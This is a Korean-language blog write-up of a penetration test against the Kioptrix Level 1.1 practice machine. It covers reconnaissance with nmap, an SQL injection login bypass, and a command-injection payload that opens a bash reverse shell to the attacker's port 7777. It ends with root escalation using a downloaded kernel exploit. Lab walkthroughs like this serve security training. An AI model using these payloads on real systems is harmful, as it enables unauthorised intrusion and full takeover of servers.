InfoSec Log/PenTesting

kioptrix level 1.1 침투테스트 과정

GuanJoer 2023. 2. 18. 21:51

Reconnaissance

 

공격자와 동일한 네트워크에 대상 PC가 존재하므로 ping sweep을 하기 위해서 먼저 공격자의 IP 주소를 확인한다.

 

nmap을 통해 ping sweep을 한다. 즉 같은 네트워크 대역(192.168.0.x)에 1-255 까지를 대상으로 ICMP 패킷을 보내 응답이 돌아오는 서버의 IP 주소를 스캔한다.

 

여기서는 192.168.0.29가 피해자의 IP 주소이자 공격자가 Exploit할 대상이 된다.

 

 

앞서 확인한 피해자의 PC를 대상으로 nmap을 통해 해당 서버에 열린 포트를 확인한다.

 

위 그림의 결과에서 보듯이 총 6개의 포트가 열려있고, 그 중 공격자가 Exploit 할 대상은 웹서버인 80 포트가 된다.

 

Exploit

웹 브라우저를 통해 대상 서버에서 실행 중인 웹서버(80)로 접속을 시도하면 위 그림에서 확인할 수 있듯이 원격으로 시스템 관리자 로그인 페이지가 나오는 것을 볼 수 있다.

 

이때, SQL Injection 공격을 통해 아무런 인증 없이 관리자로 로그인을 시도해본다.

원격 시스템 관리자 로그인 삽입 SQL문
admin' or '1'='1

 

 

위 SQL 쿼리를 통해 전체 쿼리의 결과를 참으로 만들어 주어 로그인 시도 시, 로그인이 성공하는 것을 위 그림에서 확인할 수 있다.

 

위 그림에서 보듯 해당 페이지는 Web을 통해 대상 서버에 ping이라는 시스템 명령어를 내릴 수 있는 것으로 보인다. 따라서 세미콜론(;)을 통해 명령어 실행을 이어주어, ping 명령어가 실행된 후, 이어서 공격자 원하는 시스템 명령을 내리도록 만든다.

 

여기서는 netcat을 통해 대상 PC와 Reverse Connection이 이루어지도록 하는 시스템 명령을 삽입하도록 한다. 즉 공격자의 7777번 포트와 역방향 연결을 위한 페이로드는 다음과 같다.

대상 PC를 공격자의 7777번 포트와 Reverse Connection Payload
8.8.8.8;/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.26/7777 0>&1'

 

즉 위 커맨드 인젝션 공격의 페이로드는 8.8.8.8 포트로 핑을 보낸 후, 해당 명령어의 수행이 끝난 후, 이어서 공격자의 7777번 포트로 bash 쉘을 전달해주도록 하는 명령어이다. 즉 bash 쉘을 인터프리터 모드로 실행하여, 공격자의 7777번 포트로 연결하라는 명령을 내리는 페이로드이다.

 

 

그러기 위해서는 먼저 bash 쉘을 전달받는 쪽인 공격자 측에서 해당 포트(7777)를 열어 listening을 하고 있어야 한다.

 

nc -nlvp 7777을 통해 공격자 측의 7777번 포트에서 listening 상태로 만든 후, 위 역방향 연결 페이로드를 삽입하면 위 그림에서 보는 것과 같이 대상 웹 서버의 shell 권한을 획득한 것을 확인할 수 있다.

 

위 그림에서 보듯 현재 공격자의 권한은 apache 권한으로 최상위 권한이 아니므로 이후 대상 서버의 추가 정보 수집, 후속 침투 부분에 제약이 존재한다. 따라서 최상위 권한인 root 권한을 획득하도록 권한 상승을 진행해나가도록 한다.

 

Privilege escalation

 

먼저 shell에서 /tmp 경로로 이동 후, wget을 통해 linprivchecker.py라는 스크립트를 다운로드 받고 해당 스크립트를 실행하여 권한 상승을 하기 위해이용할 수 있는 취약점이 대상 PC에 존재하는지 스캔을 진행한다. 

 

해당 결과를 보면 대상 PC는 Linux Kernel 2.6 버전을 사용하고 있는 것을 확인할 수 있다. 

 

exploit-db를 통해 위에서 얻은 결과인, Linux Kernel 2.6 버전을 악용하여 권한 상승을 할 수 있는 스크립트를 찾고, 해당 스크립트를 위와 동일한 방법으로, shell에서 /tmp 경로로 이동 후, wget을 통해 다운로드 받는다.

 

그 후 해당 파일에 대해 gcc 컴파일을 한후 해당 파일을 실행하게 되면, shell과 연결된 권한이 root로 상승된 것을 확인할 수 있다.